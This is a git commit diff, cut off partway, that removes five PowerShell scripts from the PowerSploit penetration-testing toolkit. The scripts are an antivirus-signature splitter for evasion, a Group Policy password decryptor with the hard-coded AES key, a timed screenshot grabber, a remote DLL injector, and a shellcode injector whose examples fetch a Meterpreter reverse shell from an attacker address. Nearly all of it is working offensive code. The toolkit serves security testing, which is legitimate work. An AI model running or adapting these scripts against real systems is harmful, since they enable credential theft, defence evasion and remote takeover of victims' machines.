Moved scripts to their respective modules.

This commit is contained in:
bitform
2013-01-20 21:35:56 -05:00
parent 3d83669635
commit 6e42ba1d39
5 changed files with 0 additions and 1354 deletions
-118
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function Find-AVSignature {
<#
.SYNOPSIS
Find-AVSignature
Locates single Byte AV signatures utilizing the same method as DSplit from "class101" on heapoverflow.com
Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation)
License: BSD 3-Clause
.DESCRIPTION
A script to locate tiny AV signatures.
.PARAMETER Startbyte
Specifies the first byte to begin splitting on.
.PARAMETER Endbyte
Specifies the last byte to split on.
.PARAMETER Interval
Specifies the interval size to split with.
.PARAMETER Path
Specifies the path to the binary you want tested.
.PARAMETER OutPath
Optionally specifies the directory to write the binaries to.
.PARAMETER Force
Forces the script to continue without confirmation.
.EXAMPLE
PS C:\> Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe
PS C:\> Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose
PS C:\> Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose
PS C:\> Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose
PS C:\> Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose
.NOTES
Several of the versions of "DSplit.exe" available on the internet contain malware.
.LINK
http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html
https://github.com/mattifestation/PowerSploit
http://www.exploit-monday.com/
http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2
#>
[CmdletBinding()] Param(
[Parameter(Mandatory = $True)] [Int32] $StartByte,
[Parameter(Mandatory = $True)] [String] $EndByte,
[Parameter(Mandatory = $True)] [Int32] $Interval,
[Parameter(Mandatory = $False)] [String] $Path = ($pwd.path),
[Parameter(Mandatory = $False)] [String] $OutPath = ($pwd),
[Switch] $Force = $False
)
#test variables
if (!(Test-Path $Path)) {Throw "File path not found"}
$Response = $True
if (!(Test-Path $OutPath)) {}
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue("The `"$OutPath`" does not exist! Do you want to create the directory?",""))){new-item ($OutPath)-type directory}
if (!$Response) {Throw "Output path not found"}
if (!(Get-ChildItem $Path).Exists) {Throw "File not found"}
[Int32] $FileSize = (Get-ChildItem $Path).Length
if ($StartByte -gt ($FileSize - 1) -or $StartByte -lt 0) {Throw "StartByte range must be between 0 and $Filesize"}
[Int32] $MaximumByte = (($FileSize) - 1)
if ($EndByte -ceq "max") {$EndByte = $MaximumByte}
if ($EndByte -gt $FileSize -or $EndByte -lt 0) {Throw "EndByte range must be between 0 and $Filesize"}
#read in byte array
[Byte[]] $FileByteArray = [System.IO.File]::ReadAllBytes($Path)
#find the filename for the output name
[String] $FileName = (Split-Path $Path -leaf).Split('.')[0]
#Calculate the number of binaries
[Int32] $ResultNumber = [Math]::Floor(($EndByte - $StartByte) / $Interval)
if (((($EndByte - $StartByte) % $Interval)) -gt 0) {$ResultNumber = ($ResultNumber + 1)}
#Prompt user to verify parameters to avoid writing binaries to the wrong directory
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue("This script will result in $ResultNumber binaries being written to `"$OutPath`"!",
"Do you want to continue?"))){}
if (!$Response) {Return}
Write-Verbose "This script will now write $ResultNumber binaries to `"$OutPath`"."
[Int32] $Number = [Math]::Floor($Endbyte/$Interval)
#write out the calculated number of binaries
[Int32] $i = 0
for ($i -eq 0; $i -lt $ResultNumber; $i++)
{
[Int32] $SplitByte = (($StartByte) + (($Interval) * ($i)))
Write-Verbose "Byte 0 -> $($SplitByte)"
[IO.File]::WriteAllBytes((Join-Path $OutPath "$($FileName)_$($SplitByte).bin"), $FileByteArray[0..($SplitByte)])
}
#Write out the final binary
[IO.File]::WriteAllBytes((Join-Path $OutPath "$($FileName)_$($EndByte).bin"), $FileByteArray[0..($EndByte)])
Write-Verbose "Byte 0 -> $($EndByte)"
Write-Verbose "Files written to disk. Flushing memory."
#During testing using large binaries, memory usage was excessive so lets fix that
[System.GC]::Collect()
Write-Verbose "Completed!"
}
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function Get-GPPPassword {
<#
.Synopsis
Get-GPPPassword retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
.Description
Get-GPPPassword imports the encoded and encrypted password string from groups.xml and then decodes and decrypts the plaintext password.
.Parameter Path
The path to the targeted groups.xml file.
.Example
Get-GPPPassword -path c:\demo\groups.xml
.Link
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
#>
Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Path = "$PWD\groups.xml" )
#Function to pull encrypted password string from groups.xml
function Parse-cPassword {
try {
[xml] $Xml = Get-Content ($Path)
[String] $Cpassword = $Xml.Groups.User.Properties.cpassword
} catch { Write-Error "No Password Policy Found in File!" }
return $Cpassword
}
#Function to look to see if the administrator account is given a newname
function Parse-NewName {
[xml] $Xml = Get-Content ($Path)
[String] $NewName = $Xml.Groups.User.Properties.newName
return $NewName
}
#Function to parse out the Username whose password is being specified
function Parse-UserName {
try {
[xml] $Xml = Get-Content ($Path)
[string] $UserName = $Xml.Groups.User.Properties.userName
} catch { Write-Error "No Username Specified in File!" }
return $UserName
}
#Function that decodes and decrypts password
function Decrypt-Password {
try {
#Append appropriate padding based on string length
$Pad = "=" * (4 - ($Cpassword.length % 4))
$Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
#Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
} catch { Write-Error "Decryption Failed!" }
}
$Cpassword = Parse-cPassword
$Password = Decrypt-Password
$NewName = Parse-NewName
$UserName = Parse-UserName
$Results = New-Object System.Object
Add-Member -InputObject $Results -type NoteProperty -name UserName -value $UserName
Add-Member -InputObject $Results -type NoteProperty -name NewName -value $NewName
Add-Member -InputObject $Results -type NoteProperty -name Password -value $Password
return $Results
}
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Function Get-TimedScreenshot {
<#
.SYNOPSIS
Get-TimedScreenshot
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
.DESCRIPTION
A function that takes screenshots and saves them to a folder.
.PARAMETER $Path
Specifies the folder path.
.PARAMETER $Interval
Specifies the interval in seconds between taking screenshots.
.PARAMETER $EndTime
Specifies when the script should stop running in the format HH-MM
.EXAMPLE
PS C:\> Get-TimedScreenshot -Path c:\temp\ -Interval 30 -EndTime 14:00
.LINK
http://obscuresecurity.blogspot.com/2013/01/Get-TimedScreenshot.html
https://github.com/obscuresec/random/blob/master/Get-TimedScreenshot
#>
[CmdletBinding()] Param(
[Parameter(Mandatory=$True)]
[ValidateScript({Test-Path -Path $_ })]
[string] $Path,
[Parameter(Mandatory=$True)]
[int32] $Interval,
[Parameter(Mandatory=$True)]
[string] $EndTime
)
#Define helper function that generates and saves screenshot
Function GenScreenshot {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
$DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
$DrawingGraphics.Dispose()
$ScreenshotObject.Save($FilePath)
$ScreenshotObject.Dispose()
}
Try {
#load required assembly
Add-Type -Assembly System.Windows.Forms
Do {
#get the current time and build the filename from it
$Time = (Get-Date)
[string] $FileName = "$($Time.Month)"
$FileName += '-'
$FileName += "$($Time.Day)"
$FileName += '-'
$FileName += "$($Time.Year)"
$FileName += '-'
$FileName += "$($Time.Hour)"
$FileName += '-'
$FileName += "$($Time.Minute)"
$FileName += '-'
$FileName += "$($Time.Second)"
$FileName += '.png'
#use join-path to add path to filename
[string] $FilePath = (Join-Path $Path $FileName)
#run screenshot function
GenScreenshot
Write-Verbose "Saved screenshot to $FilePath. Sleeping for $Interval seconds"
Start-Sleep -Seconds $Interval
}
#note that this will run once regardless if the specified time as passed
While ((Get-Date -Format HH:%m) -lt $EndTime)
}
Catch {Write-Warning "$Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage"}
}
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function Inject-Dll {
<#
.SYNOPSIS
PowerSploit Module - Inject-Dll
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
.DESCRIPTION
Inject-Dll injects a Dll into the process ID of your choosing.
.PARAMETER ProcessID
Process ID of the process you want to inject a Dll into.
.PARAMETER Dll
Name of the dll to inject. This can be an absolute or relative path.
.EXAMPLE
C:\PS> Inject-DLL -ProcessID 4274 -Dll evil.dll
Description
-----------
Inject 'evil.dll' into process ID 4274.
.NOTES
Use the '-Verbose' option to print detailed information.
.LINK
http://www.exploit-monday.com
#>
Param (
[Parameter( Position = 0,
Mandatory = $True )]
[Int]
$ProcessID,
[Parameter( Position = 1,
Mandatory = $True )]
[String]
$Dll
)
# Confirm that the process you want to inject into exists
try
{
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
}
catch [System.Management.Automation.ActionPreferenceStopException]
{
Throw "Process does not exist!"
}
# Confirm that the path to the dll exists
try
{
$Dll = (Resolve-Path $Dll -ErrorAction Stop).Path
Write-Verbose "Full path to Dll: $Dll"
$AsciiEncoder = New-Object System.Text.ASCIIEncoding
# Save the name of the dll in an ascii-encoded format. This name will be injected into the remote process.
$DllByteArray = $AsciiEncoder.GetBytes($Dll)
}
catch [System.Management.Automation.ActionPreferenceStopException]
{
Throw "Invalid Dll path!"
}
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
function Local:Get-PEArchitecture
{
Param
(
[Parameter( Position = 0,
Mandatory = $True )]
[String]
$Path
)
# Parse PE header to see if binary was compiled 32 or 64-bit
$FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
[Byte[]] $MZHeader = New-Object Byte[](2)
$FileStream.Read($MZHeader,0,2) | Out-Null
$Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
if ($Header -ne 'MZ')
{
$FileStream.Close()
Throw 'Invalid PE header.'
}
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $lfanew = New-Object Byte[](4)
# Read offset to the PE Header (will be read in reverse)
$FileStream.Read($lfanew,0,4) | Out-Null
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
# Read compiled architecture
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
$FileStream.Close()
if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
{
Throw 'Invalid PE header or unsupported architecture.'
}
if ($Architecture -eq '014C')
{
Write-Output 'X86'
}
elseif ($Architecture -eq '8664')
{
Write-Output 'X64'
}
else
{
Write-Output 'OTHER'
}
}
# Get addresses of and declare delegates for essential Win32 functions.
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
$VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
# Assume CPU to be 64-bit unless determined otherwise.
$64bitCPU = $True
# Determine the bitness of the running PowerShell process based upon the size of the IntPtr type.
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $True
}
else
{
$PowerShell32bit = $False
}
# The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null.
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
if ($IsWow64ProcessAddr)
{
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
}
else
{
# IsWow64Process does not exist and thus, the CPU is not 64-bit.
$64bitCPU = $False
}
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
THrow 'Unable to open process handle.'
}
$Architecture = Get-PEArchitecture $Dll
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
{
if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') )
{
Throw 'Only x86 or AMD64 architechtures supported.'
}
# Determine is the process specified is 32 or 64 bit. Assume that it is 64-bit unless determined otherwise.
$IsWow64 = $False
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ( $PowerShell32bit -and ($Architecture -eq 'X64') )
{
Throw 'You cannot manipulate 64-bit code within 32-bit PowerShell. Open the 64-bit version and try again.'
}
if ( (!$IsWow64) -and ($Architecture -eq 'X86') )
{
Throw 'You cannot inject a 32-bit DLL into a 64-bit process.'
}
if ( $IsWow64 -and ($Architecture -eq 'X64') )
{
Throw 'You cannot inject a 64-bit DLL into a 32-bit process.'
}
}
else
{
if ($Architecture -ne 'X86')
{
Throw 'PE file was not compiled for x86.'
}
}
# Get address of LoadLibraryA function
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
Write-Verbose "LoadLibrary address: 0x$($LoadLibraryAddr.ToString("X$([IntPtr]::Size*2)"))"
# Reserve and commit memory to hold name of dll
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW)
if ($RemoteMemAddr -eq [IntPtr]::Zero)
{
Throw 'Unable to allocate memory in remote process.'
}
Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
# Write the name of the dll to the remote process address space
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $DllByteArray, $Dll.Length, [Ref] 0) | Out-Null
Write-Verbose "Dll path written sucessfully."
# Execute dll as a remote thread
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $LoadLibraryAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw 'Unable to launch remote thread.'
}
$VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
# Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null
Write-Verbose 'Dll injection complete!'
# Extract just the filename from the provided path to the dll.
$FileName = Split-Path $Dll -Leaf
$DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) } | fl * | Out-String
if (!$DllInfo)
{
Throw "Dll did dot inject properly into the victim process."
}
Write-Verbose "Injected DLL information:$($DllInfo)"
}
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function Inject-Shellcode
{
<#
.SYNOPSIS
Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
PowerSploit Module - Inject-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
.DESCRIPTION
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
.PARAMETER ProcessID
Process ID of the process you want to inject shellcode into.
.PARAMETER Shellcode
Specifies an optional shellcode passed in as a byte array
.PARAMETER ListMetasploitPayloads
Lists all of the available Metasploit payloads that Inject-Shellcode supports
.PARAMETER Lhost
Specifies the IP address of the attack machine waiting to receive the reverse shell
.PARAMETER Lport
Specifies the port of the attack machine waiting to receive the reverse shell
.PARAMETER Payload
Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
.PARAMETER UserAgent
Optionally specifies the user agent to use when using meterpreter http or https payloads
.PARAMETER Force
Injects shellcode without prompting for confirmation. By default, Inject-Shellcode prompts for confirmation before performing any malicious act.
.EXAMPLE
C:\PS> Inject-Shellcode -ProcessId 4274
Description
-----------
Inject shellcode into process ID 4274.
.EXAMPLE
C:\PS> Inject-Shellcode
Description
-----------
Inject shellcode into the running instance of PowerShell.
.EXAMPLE
C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
C:\PS> $Proc = Get-Process notepad
C:\PS> Inject-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
VERBOSE: Injecting shellcode into PID: 4004
VERBOSE: Injecting into a Wow64 process.
VERBOSE: Using 32-bit shellcode.
VERBOSE: Shellcode memory reserved at 0x03BE0000
VERBOSE: Emitting 32-bit assembly call stub.
VERBOSE: Thread call stub memory reserved at 0x001B0000
VERBOSE: Shellcode injection complete!
Description
-----------
Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up
with the following options:
Payload options (windows/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.30.129 yes The local listener hostname
LPORT 443 yes The local listener port
.EXAMPLE
C:\PS> Inject-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
Description
-----------
Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up
with the following options:
Payload options (windows/meterpreter/reverse_http):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.30.129 yes The local listener hostname
LPORT 80 yes The local listener port
.EXAMPLE
C:\PS> Inject-Shellcode -Shellcode @(0x90,0x90,0xC3)
Description
-----------
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
.EXAMPLE
C:\PS> Inject-Shellcode -ListMetasploitPayloads
Payloads
--------
windows/meterpreter/reverse_http
windows/meterpreter/reverse_https
.NOTES
Use the '-Verbose' option to print detailed information.
Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
.LINK
http://www.exploit-monday.com
#>
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,
[Parameter( ParameterSetName = 'RunLocal' )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Shellcode,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateSet( 'windows/meterpreter/reverse_http',
'windows/meterpreter/reverse_https',
IgnoreCase = $True )]
[String]
$Payload = 'windows/meterpreter/reverse_http',
[Parameter( ParameterSetName = 'ListPayloads' )]
[Switch]
$ListMetasploitPayloads,
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateNotNullOrEmpty()]
[String]
$Lhost = '127.0.0.1',
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateRange( 1,65535 )]
[Int]
$Lport = 8443,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateNotNull()]
[String]
$UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
[Switch]
$Force = $False
)
Set-StrictMode -Version 2.0
# List all available Metasploit payloads and exit the function
if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
{
$AvailablePayloads = (Get-Command Inject-Shellcode).Parameters['Payload'].Attributes |
Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
foreach ($Payload in $AvailablePayloads.ValidValues)
{
New-Object PSObject -Property @{ Payloads = $Payload }
}
Return
}
if ( $PSBoundParameters['ProcessID'] )
{
# Ensure a valid process ID was provided
# This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
}
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
{
$IntSizePtr = $Architecture / 8
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
{
$LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)
Write-Output $LittleEndianByteArray
}
$CallStub = New-Object Byte[](0)
if ($IntSizePtr -eq 8)
{
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL RAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL RAX
}
else
{
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL EAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL EAX
}
Write-Output $CallStub
}
function Local:Inject-RemoteShellcode ([Int] $ProcessID)
{
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
